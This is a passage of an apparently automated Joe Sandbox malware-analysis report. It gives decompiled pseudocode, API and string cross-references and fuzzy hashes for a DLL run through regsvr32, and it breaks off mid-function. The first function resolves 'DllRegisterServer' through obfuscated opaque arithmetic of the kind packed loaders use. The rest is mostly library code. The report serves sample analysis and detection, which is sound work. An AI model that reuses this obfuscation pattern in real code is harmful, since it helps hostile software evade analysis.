				signed int _t213;
				void* _t218;
				void* _t227;
				intOrPtr* _t229;
				signed int _t242;
				signed int _t243;
				intOrPtr _t265;
				signed int _t291;
				signed int _t301;
				intOrPtr* _t309;
				signed int _t339;
				signed int _t351;
				signed int _t353;
				signed int _t358;
				signed int _t370;
				intOrPtr _t371;
				signed int _t376;
				signed int _t379;
				signed int _t380;
				signed int _t382;
				intOrPtr _t384;
				intOrPtr _t389;
				intOrPtr _t409;
				signed int _t410;
				signed int _t426;
				signed int _t442;
				signed int _t458;
				signed int _t479;
				signed int _t486;
				signed int _t488;
				signed int _t508;
				signed int _t515;
				signed int _t520;
				signed int _t521;
				intOrPtr _t522;
				signed int _t523;
				signed int _t524;
				signed int _t525;
				intOrPtr _t530;
				intOrPtr* _t531;
				signed int _t547;
				intOrPtr _t549;
				intOrPtr _t552;
				intOrPtr _t558;
				void* _t575;
				void* _t576;

				_t205 =  *0x6eb8d558; // 0x2c3f340
				_t339 =  *0x6eb8a9c4; // 0x0
				_t243 =  *0x6eb8a9bc; // 0x0
				_t382 =  *0x6eb8a9c8; // 0x0
				 *((intOrPtr*)(_t575 + 0xc)) = _t205;
				_t2 = _t205 + 4; // 0x10000000
				 *((intOrPtr*)(_t575 + 0x14)) =  *_t2;
				_t488 =  *0x6eb8a9d0; // 0x0
				_t208 = _t488 * _t339;
				 *(_t575 + 0x3c) = _t208;
				_t384 = _t382 + _t382 * 2 + _t382 + _t382 * 2;
				_t515 =  *0x6eb8a9cc; // 0x0
				 *((intOrPtr*)(_t575 + 0x1c)) = _t384;
				_t213 =  *0x6eb8a9c0; // 0x0
				_t389 =  *((intOrPtr*)( *((intOrPtr*)(_t575 + 0x14)))) + 0x78 + ((_t488 - _t339 + _t339 * 2 - 5) * _t515 + (_t243 + (_t208 + _t243) * 2 + (_t243 + (_t208 + _t243) * 2) * 2 - _t488 + _t488 - _t339) * 2 + (_t384 + _t515 - 7) * _t213) * 8;
				 *(_t575 + 0x30) = "DllRegisterServer";
				 *((intOrPtr*)(_t575 + 0x28)) = _t389;
				if( *((intOrPtr*)(_t389 + 4)) == 0) {
					L18:
					return 0;
				} else {
					 *(_t575 + 0x2c) = _t515 *  *0x6eb8a9bc * _t488;
					_t547 =  *0x6eb8a9c8; // 0x0
					_t265 = ((_t515 *  *0x6eb8a9c8 - _t213 * _t213 * 0x52 + _t515 *  *0x6eb8a9c8) * _t488 + 0xa4) *  *0x6eb8a9bc + ((2 - _t339 * _t339) * _t339 - _t515 + _t488) * 0x52 + (_t213 + (( *(_t575 + 0x2c) + 0xfffffffd) *  *0x6eb8a9c8 + _t213 + _t213 + (( *(_t575 + 0x2c) + 0xfffffffd) *  *0x6eb8a9c8 + _t213 + _t213) * 4) * 4) * 4 -  *((intOrPtr*)(_t575 + 0x1c)) +  *((intOrPtr*)( *((intOrPtr*)(_t575 + 0x28)))) +  *((intOrPtr*)(_t575 + 0x18));
					 *(_t575 + 0x20) = _t213 * _t488;
					 *((intOrPtr*)(_t575 + 0x10)) = _t265;
					 *((intOrPtr*)(_t575 + 0x24)) =  *((intOrPtr*)(_t265 + 0x18));
					_t549 = _t515 + _t488 * 2 + _t515 + _t488 * 2;
					_t409 = ((_t547 * _t488 + 2) * _t515 + 1) * _t547 + ((_t547 * _t488 + 2) * _t515 + 1) * _t547;
					 *((intOrPtr*)(_t575 + 0x34)) = _t409;
					 *((intOrPtr*)(_t575 + 0x28)) = _t549;
					if( *((intOrPtr*)(_t575 + 0x24)) == (_t339 -  *(_t575 + 0x20) - _t515 + 1) * _t213 + (_t339 -  *(_t575 + 0x20) - _t515 + 1) * _t213 - _t549 - _t409) {
						goto L18;
					} else {
						_t410 =  *0x6eb8a9bc; // 0x0
						_t552 = _t488 + _t488 * 2 + _t488 + _t488 * 2 + _t488 + _t488 * 2 + _t488 + _t488 * 2;
						 *((intOrPtr*)(_t575 + 0x38)) = _t552;
						_t558 =  *((intOrPtr*)(_t575 + 0x10));
						if( *((intOrPtr*)(_t558 + 0x14)) == (_t552 + 0xfffffffa) * _t339 + (_t410 + _t410 * 2 - _t515 + (_t410 + _t410 * 2 - _t515) * 2) * 2 + ( *((intOrPtr*)(_t575 + 0x1c)) + 0xfffffffa) * _t213) {
							goto L18;
						} else {
							if("DllRegisterServer" >> 0x10 != 0) {
								_t78 = _t339 + 2; // 0x2
								if((_t339 -  *(_t575 + 0x20) + _t515 +  *(_t575 + 0x20) + _t515 + _t78) * _t213 + (0 |  *((intOrPtr*)(_t575 + 0x24)) == 0x00000000) -  *((intOrPtr*)(_t575 + 0x28)) !=  *((intOrPtr*)(_t575 + 0x34))) {
									goto L18;
								} else {
									if( *((intOrPtr*)( *((intOrPtr*)(_t575 + 0x14)) + 0x30)) != 0) {
										L14:
										_t426 =  *0x6eb8a9bc; // 0x0
										_t291 =  *0x6eb8a9c8; // 0x0
										_t218 = bsearch(_t575 + 0x40 + (_t213 + _t213 * 2 + (1 -  *0x6eb8a9c8) * _t515 + _t488 + (_t213 - _t339 + 3) * _t339 + (_t488 - _t213) *  *0x6eb8a9bc + (_t213 + _t213 * 2 + (1 -  *0x6eb8a9c8) * _t515 + _t488 + (_t213 - _t339 + 3) * _t339 + (_t488 - _t213) *  *0x6eb8a9bc) * 2) * 8,  *( *(_t575 + 0x20) + 0x30),  *(_t558 + 0x18) - _t291 * _t488 * _t339 + _t291 * _t488 * _t339 + _t291 * _t488 * _t339 + _t291 * _t488 * _t339, (_t515 - _t339 + 3) * _t213 - (_t213 * _t213 * _t339 +  *0x6eb8a9c8 + 2 + _t488 * 2) * _t515 + _t426 * 2 - _t291 + _t488 + _t339 + 8 + ((_t515 - _t339 + 3) * _t213 - (_t213 * _t213 * _t339 +  *0x6eb8a9c8 + 2 + _t488 * 2) * _t515 + _t426 * 2 - _t291 + _t488 + _t339) * 2, E6EB44E40);
										_t575 = _t575 + 0x14;
										if(_t218 == 0) {
											goto L18;
										} else {
											_t442 =  *(_t218 + 4) & 0x0000ffff;
											_t339 =  *0x6eb8a9c4; // 0x0
											_t488 =  *0x6eb8a9d0; // 0x0
											_t213 =  *0x6eb8a9c0; // 0x0
											_t515 =  *0x6eb8a9cc; // 0x0
											goto L16;
										}
									} else {
										_t301 =  *0x6eb8a9bc; // 0x0
										 *((intOrPtr*)(_t575 + 0x28)) = ( *((intOrPtr*)(_t575 + 0x1c)) + _t515 * 4 - 0xa) * _t213 + (_t488 * 4 - 2) * _t515 + ( *((intOrPtr*)(_t575 + 0x38)) + 0xa) * _t339 + (_t301 + _t301 * 8) * 2 +  *((intOrPtr*)( *((intOrPtr*)(_t575 + 0x10)) + 0x20)) - _t488 * 4 +  *((intOrPtr*)(_t575 + 0x18));
										_t458 =  *0x6eb8a9c8; // 0x0
										_t103 = _t339 + 1; // 0x1
										_t558 =  *((intOrPtr*)(_t575 + 0x10));
										_t351 =  *0x6eb8a9c8; // 0x0
										_t309 = ((_t339 * 4 + 4 + (_t301 + _t301 * 4) * 2) * _t515 - _t213 * 4 - 0x26) *  *0x6eb8a9c8 + (_t103 * _t515 + (_t515 + _t458) * _t213 +  *0x6eb8a9c8 + _t301 + (_t103 * _t515 + (_t515 + _t458) * _t213 +  *0x6eb8a9c8 + _t301) * 4) * 2 + (_t339 - _t213 * 8 - _t213) * 4 + (0xe + _t339 * 4) * _t488 +  *((intOrPtr*)(_t558 + 0x24)) +  *((intOrPtr*)(_t575 + 0x18));
										_t227 = malloc((( *(_t575 + 0x2c) * _t339 - _t351) * 4 - 8) * _t351 + ((2 - _t488) * _t213 +  *(_t558 + 0x18) * 2 - _t515 +  *(_t575 + 0x3c) +  *0x6eb8a9bc) * 4);
										_t479 =  *0x6eb8a9c0; // 0x0
										_t353 =  *0x6eb8a9cc; // 0x0
										_t520 =  *0x6eb8a9d0; // 0x0
										_t358 =  *0x6eb8a9c8; // 0x0
										_t576 = _t575 + 4;
										_t229 = _t227 + ((((_t353 *  *0x6eb8a9c8 + _t479 *  *0x6eb8a9bc) *  *0x6eb8a9cc + (_t353 *  *0x6eb8a9c8 + _t479 *  *0x6eb8a9bc) *  *0x6eb8a9cc * 2) * 8 - 0x18) *  *0x6eb8a9c4 + (_t358 * _t479 * _t520 + 1 + (_t358 * _t479 * _t520 + 1) * 2) * 8) * _t520 + (0x18 - _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2 + _t479 + _t479 * 2) *  *0x6eb8a9cc;
										 *((intOrPtr*)( *((intOrPtr*)(_t576 + 0x14)) + 0x30)) = _t229;
										if(_t229 == 0) {
											goto L18;
										} else {
											_t370 =  *0x6eb8a9bc; // 0x0
											_t371 = _t370 + _t370 * 2;
											 *((intOrPtr*)(_t576 + 0x34)) = _t371;
											_t376 = ((_t371 + 3) * _t479 * _t520 + 6) * _t520;
											_t521 =  *0x6eb8a9c8; // 0x0
											_t522 = _t521 + _t521 * 2;
											 *((intOrPtr*)(_t576 + 0x1c)) = 0;
											 *((intOrPtr*)(_t576 + 0x38)) = _t522;
											if( *(_t558 + 0x18) - _t522 != _t376) {
												_t525 =  *0x6eb8a9c8; // 0x0
												_t530 =  ~((_t525 + 1) *  *0x6eb8a9cc + _t479 * _t479) +  ~((_t525 + 1) *  *0x6eb8a9cc + _t479 * _t479);
												 *((intOrPtr*)(_t576 + 0x3c)) = _t530;
												while(1) {
													_t508 =  *0x6eb8a9c4; // 0x0
													 *((intOrPtr*)(_t576 + 0x1c)) =  *((intOrPtr*)(_t576 + 0x1c)) + 1;
													_t531 =  *((intOrPtr*)(_t576 + 0x28));
													 *_t229 = _t530 + _t508 * 2 +  *((intOrPtr*)(_t576 + 0x18)) +  *_t531;
													 *((intOrPtr*)(_t576 + 0x28)) = _t531 + 4;
													 *((short*)(_t229 + 4)) =  *_t309;
													_t309 = _t309 + 2;
													_t229 = _t229 + 8;
													if( *((intOrPtr*)(_t576 + 0x1c)) >=  *(_t558 + 0x18) -  *((intOrPtr*)(_t576 + 0x38)) - _t376) {
														goto L13;
													}
													_t530 =  *((intOrPtr*)(_t576 + 0x3c));
												}
											}
											L13:
											_t523 =  *0x6eb8a9cc; // 0x0
											_t379 =  *0x6eb8a9c4; // 0x0
											_t380 =  *0x6eb8a9bc; // 0x0
											_t171 = _t479 * 2; // -6
											_t242 =  *0x6eb8a9c8; // 0x0
											_t176 = _t380 + 3; // 0x3
											_t524 =  *0x6eb8a9d0; // 0x0
											qsort( *( *((intOrPtr*)(_t576 + 0x1c)) + 0x30),  ~(_t524 * _t524) +  ~(_t524 * _t524) - _t176 * _t523 + _t176 * _t523 - _t242 - _t242 - _t479 - _t479 +  *(_t558 + 0x18) + _t380 + _t380, (3 - _t479 * _t479 - _t379) * _t379 + _t479 + 6 + (_t380 * _t380 - _t523 + (_t380 * _t380 - _t523) * 2 - 9) *  *0x6eb8a9d0 + (_t479 + _t171 - 6) * _t523 + (3 -  *((intOrPtr*)(_t576 + 0x34))) * _t242 + 8, E6EB44D60);
											_t339 =  *0x6eb8a9c4; // 0x0
											_t488 =  *0x6eb8a9d0; // 0x0
											_t213 =  *0x6eb8a9c0; // 0x0
											_t515 =  *0x6eb8a9cc; // 0x0
											_t575 = _t576 + 0x10;
											goto L14;
										}
									}
								}
							} else {
								 *(_t575 + 0x2c) =  *(_t575 + 0x30) & 0x0000ffff;
								_t66 = _t410 + 1; // 0x1
								_t558 =  *((intOrPtr*)(_t575 + 0x10));
								_t486 =  *(_t575 + 0x2c);
								if(_t486 < ((_t410 * _t488 + _t410 * _t488 - 2) * _t515 + _t410 + _t213 * _t339 * _t339 * 2 + _t410 + _t488 + _t488) *  *0x6eb8a9c8 + (_t66 * _t339 - _t515 * _t515 + _t213 + _t213) * 2 - _t488 + _t488 * 2 + _t488 + _t488 * 2 +  *((intOrPtr*)(_t558 + 0x10))) {
									goto L18;
								} else {
									_t442 = _t486 -  *((intOrPtr*)(_t558 + 0x10));
									L16:
									if(_t442 >  *((intOrPtr*)(_t558 + 0x14))) {
										goto L18;
									} else {
										return  *((intOrPtr*)((_t339 + _t213) * _t213 + (_t442 + _t442 -  *0x6eb8a9c8 - _t488) * 2 +  *((intOrPtr*)(_t558 + 0x1c)) - _t515 +  *((intOrPtr*)(_t575 + 0x18)))) +  *((intOrPtr*)(_t575 + 0x18));
									}
								}
							}
						}
					}
				}
			}

0x6eb44e83
0x6eb44e88
0x6eb44e8f
0x6eb44e95
0x6eb44e9c
0x6eb44ea0
0x6eb44ea4
0x6eb44ea9
0x6eb44eb1
0x6eb44eb4
0x6eb44ec0
0x6eb44ecc
0x6eb44ed4
0x6eb44edd
0x6eb44efd
0x6eb44f01
0x6eb44f0d
0x6eb44f11
0x6eb45474
0x6eb4547d
0x6eb44f17
0x6eb44f23
0x6eb44f8d
0x6eb44f93
0x6eb44f9c
0x6eb44fa5
0x6eb44fac
0x6eb44fc9
0x6eb44fcd
0x6eb44fd3
0x6eb44fd7
0x6eb44fdf
0x00000000
0x6eb44fe5
0x6eb44fe5
0x6eb44ff0
0x6eb44ff2
0x6eb45014
0x6eb4501b
0x00000000
0x6eb45021
0x6eb4502b
0x6eb4509f
0x6eb450b9
0x00000000
0x6eb450bf
0x6eb450c7
0x6eb45391
0x6eb453b2
0x6eb453bb
0x6eb4541f
0x6eb45425
0x6eb4542a
0x00000000
0x6eb4542c
0x6eb4542c
0x6eb45430
0x6eb45436
0x6eb4543c
0x6eb45441
0x00000000
0x6eb45441
0x6eb450cd
0x6eb450f0
0x6eb45110
0x6eb45114
0x6eb45126
0x6eb4516a
0x6eb45194
0x6eb4519a
0x6eb451ba
0x6eb451c0
0x6eb451c6
0x6eb451e5
0x6eb451f5
0x6eb45208
0x6eb45232
0x6eb45234
0x6eb45237
0x00000000
0x6eb4523d
0x6eb4523d
0x6eb45243
0x6eb45246
0x6eb45259
0x6eb4525c
0x6eb45262
0x6eb45269
0x6eb45271
0x6eb45275
0x6eb45277
0x6eb4528e
0x6eb45290
0x6eb452a4
0x6eb452a4
0x6eb452aa
0x6eb452b5
0x6eb452be
0x6eb452c3
0x6eb452c7
0x6eb452d2
0x6eb452d7
0x6eb452de
0x00000000
0x00000000
0x6eb452a0
0x6eb452a0
0x6eb452a4
0x6eb452e0
0x6eb452e5
0x6eb452f2
0x6eb452fd
0x6eb4531c
0x6eb45325
0x6eb45340
0x6eb45346
0x6eb45371
0x6eb45377
0x6eb4537d
0x6eb45383
0x6eb45388
0x6eb4538e
0x00000000
0x6eb4538e
0x6eb45237
0x6eb450c7
0x6eb4502d
0x6eb45032
0x6eb45051
0x6eb45071
0x6eb4507f
0x6eb45085
0x00000000
0x6eb4508b
0x6eb4508b
0x6eb45447
0x6eb4544a
0x00000000
0x6eb4544c
0x6eb45473
0x6eb45473
0x6eb4544a
0x6eb45085
0x6eb4502b
0x6eb4501b
0x6eb44fdf

APIs

malloc.MSVCRT ref: 6EB451BA

Strings

DllRegisterServer, xrefs: 6EB44F01, 6EB45021

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: malloc
String ID: DllRegisterServer
API String ID: 2803490479-1663957109
Opcode ID: faef4588167e5730ec42f27ef4cbf332d01ef2833838883482c961266b81e252
Instruction ID: f1f9cb8d05124fc973cf6d79199b8882de84e7732913cb9b6e2ca9af0edff554
Opcode Fuzzy Hash: faef4588167e5730ec42f27ef4cbf332d01ef2833838883482c961266b81e252
Instruction Fuzzy Hash: D512B6326457068FCB08CF5CC9C1596BBA6FBDA304F0A862ED5418B3E9E774A519CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4D8BD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB4D8BD(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				void* __esi;
				void* __ebp;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				void* _t25;
				void* _t26;
				void* _t27;

				_t27 = __eflags;
				_t24 = __edi;
				_t21 = __ebx;
				E6EB5428B(0xc);
				_push(0x6eb4cd26);
				_t26 = E6EB55601(__ebx, 0x6eb8c6a8, __edi, _t25, _t27);
				_t28 = _t26;
				if(_t26 == 0) {
					E6EB48BA4(__ebx, 0x6eb8c6a8, __edi, _t26, _t28);
				}
				_t29 =  *(_t26 + 8);
				if( *(_t26 + 8) != 0) {
					L7:
					E6EB542FD(0xc);
					return  *(_t26 + 8)(_a4, _a8, _a12, _a16);
				} else {
					_push("hhctrl.ocx");
					_t16 = E6EB4B2BD(_t21, 0x6eb8c6a8, _t24, _t26, _t29);
					 *(_t26 + 4) = _t16;
					if(_t16 != 0) {
						_t17 = GetProcAddress(_t16, "HtmlHelpA");
						 *(_t26 + 8) = _t17;
						__eflags = _t17;
						if(_t17 != 0) {
							goto L7;
						}
						FreeLibrary( *(_t26 + 4));
						 *(_t26 + 4) =  *(_t26 + 4) & 0x00000000;
					}
					return 0;
				}
			}

0x6eb4d8bd
0x6eb4d8bd
0x6eb4d8bd
0x6eb4d8c5
0x6eb4d8ca
0x6eb4d8d9
0x6eb4d8db
0x6eb4d8dd
0x6eb4d8df
0x6eb4d8df
0x6eb4d8e4
0x6eb4d8e8
0x6eb4d922
0x6eb4d924
0x00000000
0x6eb4d8ea
0x6eb4d8ea
0x6eb4d8ef
0x6eb4d8f5
0x6eb4d8fa
0x6eb4d906
0x6eb4d90c
0x6eb4d90f
0x6eb4d911
0x00000000
0x00000000
0x6eb4d916
0x6eb4d91c
0x6eb4d91c
0x00000000
0x6eb4d8fc

APIs

Part of subcall function 6EB5428B: EnterCriticalSection.KERNEL32(6EB8C890,73FC5680,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542C5
Part of subcall function 6EB5428B: InitializeCriticalSection.KERNEL32(-6EB8C6F8,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542D7
Part of subcall function 6EB5428B: LeaveCriticalSection.KERNEL32(6EB8C890,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542E4
Part of subcall function 6EB5428B: EnterCriticalSection.KERNEL32(-6EB8C6F8,73FC5680,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542F4

Part of subcall function 6EB55601: __EH_prolog3_catch.LIBCMT ref: 6EB55608

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

GetProcAddress.KERNEL32(00000000,HtmlHelpA), ref: 6EB4D906
FreeLibrary.KERNEL32(?), ref: 6EB4D916

Strings

HtmlHelpA, xrefs: 6EB4D900
hhctrl.ocx, xrefs: 6EB4D8EA

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Enter$AddressException@8FreeH_prolog3H_prolog3_catchInitializeLeaveLibraryProcThrow
String ID: HtmlHelpA$hhctrl.ocx
API String ID: 2853499158-63838506
Opcode ID: fa57e85e78e8c886989142324116c3513f069a008309815500d885f9347b5955
Instruction ID: 69c71a3700b04db9d0f767dc14ceff33cb527626f1e04bd8a3788a3a834343ad
Opcode Fuzzy Hash: fa57e85e78e8c886989142324116c3513f069a008309815500d885f9347b5955
Instruction Fuzzy Hash: DB01A231024786FBCB521FE5EC04A8E3FA8EF44355F008C29F41ADAA14DB31C460AF51

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6FA52 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E6EB6FA52() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x6eb7cf70;
					_v28 =  *0x6eb7cf68;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x6eb6fa57
0x6eb6fa5f
0x6eb6fa76
0x6eb6fa22
0x6eb6fa2b
0x6eb6fa37
0x6eb6fa3a
0x6eb6fa3d
0x6eb6fa3f
0x6eb6fa42
0x6eb6fa47
0x6eb6fa51
0x6eb6fa49
0x6eb6fa4d
0x6eb6fa4d
0x6eb6fa61
0x6eb6fa67
0x6eb6fa6f
0x00000000
0x6eb6fa71
0x6eb6fa71
0x6eb6fa75
0x6eb6fa75
0x6eb6fa6f

APIs

GetModuleHandleA.KERNEL32(KERNEL32,6EB676DB), ref: 6EB6FA57
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 6EB6FA67

Strings

KERNEL32, xrefs: 6EB6FA52
IsProcessorFeaturePresent, xrefs: 6EB6FA61

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: a1b8c4789d4a7023d11d9cd5144cbfb33ccab66df54f604360e3673db3b0155f
Instruction ID: e650e79de8f87964b4eb0fa205aad03de76ba2e2416f8a386b579ccb675da1dc
Opcode Fuzzy Hash: a1b8c4789d4a7023d11d9cd5144cbfb33ccab66df54f604360e3673db3b0155f
Instruction Fuzzy Hash: B3F06D20A0495AD2DF006FF1AC0976E7F78FB82742F920184D1E2B4584CE308074C781

Uniqueness

Uniqueness Score: -1.00%

Function 6EB55BB6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 54%

			E6EB55BB6(intOrPtr _a4) {
				signed int _v8;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t6;
				struct HINSTANCE__* _t9;
				intOrPtr _t11;
				intOrPtr _t15;
				CHAR* _t16;
				CHAR* _t17;
				signed int _t18;

				_t6 =  *0x6eb89470; // 0x6287ae78
				_v8 = _t6 ^ _t18;
				_t11 = _a4;
				_t17 = "mfcm90.dll";
				_t16 =  &_v20;
				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_t9 = GetModuleHandleA( &_v20);
				if(_t9 != 0) {
					_t9 = GetProcAddress(_t9, "AfxmReleaseManagedReferences");
					if(_t9 != 0) {
						_t9 = _t9->i(_t11);
					}
				}
				return E6EB63DE0(_t9, _t11, _v8 ^ _t18, _t15, _t16, _t17);
			}

0x6eb55bbe
0x6eb55bc5
0x6eb55bc9
0x6eb55bce
0x6eb55bd3
0x6eb55bd6
0x6eb55bd7
0x6eb55bd8
0x6eb55bde
0x6eb55bdf
0x6eb55be7
0x6eb55bef
0x6eb55bf7
0x6eb55bfa
0x6eb55bfc
0x6eb55bf7
0x6eb55c0b

APIs

GetModuleHandleA.KERNEL32(?), ref: 6EB55BDF
GetProcAddress.KERNEL32(00000000,AfxmReleaseManagedReferences), ref: 6EB55BEF

Strings

AfxmReleaseManagedReferences, xrefs: 6EB55BE9
mfcm90.dll, xrefs: 6EB55BCE

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: AfxmReleaseManagedReferences$mfcm90.dll
API String ID: 1646373207-1752160237
Opcode ID: 0e660b536ebf6a4d4b4fcbe418239efac5a5a784abd63eafab03e34b5378f966
Instruction ID: 5ed6283614b1674415d37703b4ebc3d95dfddbedb04c0828afb4b45d4a7b8a18
Opcode Fuzzy Hash: 0e660b536ebf6a4d4b4fcbe418239efac5a5a784abd63eafab03e34b5378f966
Instruction Fuzzy Hash: 8FF0827160525DAB9F00EEAA8C88CEFBFADEF952557400829E416E7640DE70D505C760

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5DCE7 Relevance: 6.2, APIs: 4, Instructions: 174
windowCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E6EB5DCE7(intOrPtr* __ecx, void* __edx) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v16;
				void* _v20;
				intOrPtr* _v24;
				struct tagRECT _v40;
				struct tagRECT _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t59;
				intOrPtr* _t60;
				intOrPtr _t61;
				signed int _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t69;
				intOrPtr* _t70;
				intOrPtr* _t71;
				intOrPtr* _t73;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr* _t90;
				void* _t133;
				void* _t136;
				intOrPtr* _t137;
				intOrPtr* _t138;
				intOrPtr* _t139;
				intOrPtr* _t141;
				void* _t142;

				_t133 = __edx;
				_t116 = __ecx;
				_t141 = __ecx;
				_t59 =  *((intOrPtr*)(__ecx + 4));
				_t143 = _t59;
				if(_t59 == 0) {
					L1:
					_t59 = E6EB48BA4(0, _t116, _t136, _t141, _t143);
				}
				_t60 =  *((intOrPtr*)(_t59 + 0x28));
				if(_t60 == 0) {
					goto L1;
				}
				_t116 = _t60;
				_t61 = E6EB4DAA2(0, _t60, _t136);
				_v8 = _t61;
				if(_t61 == 0) {
					goto L1;
				}
				_t62 = IsWindowVisible( *(_t61 + 0x20));
				asm("sbb eax, eax");
				_t64 =  ~_t62 + 1;
				_v24 = _t64;
				if(_t64 != 0) {
					GetWindowRect( *(E6EB4C72D(0, _t116, GetDesktopWindow()) + 0x20),  &_v56);
					GetWindowRect( *(_v8 + 0x20),  &_v40);
					asm("cdq");
					asm("cdq");
					E6EB4F68B(_v8, _v56.right - _v56.left - _t133 >> 1, _v56.bottom - _v56.top - _t133 >> 1, 0, 0, 0);
					E6EB4F6CB(_v8, 1);
				}
				_t66 =  *((intOrPtr*)( *((intOrPtr*)(_t141 + 4)) + 0x50));
				_t137 = _t141 + 0x48;
				_push(_t137);
				_push(0x6eb7b6e8);
				_push(_t66);
				if( *((intOrPtr*)( *_t66))() >= 0) {
					_t90 =  *_t137;
					_t139 = _t141 + 0x4c;
					_v12 =  *((intOrPtr*)( *_t90 + 0xc))(_t90, 0, 0x6eb7e3a4, _t139);
					if( *_t139 == 0) {
						_v12 = 0x80004003;
					}
					if(_v12 >= 0) {
						L18:
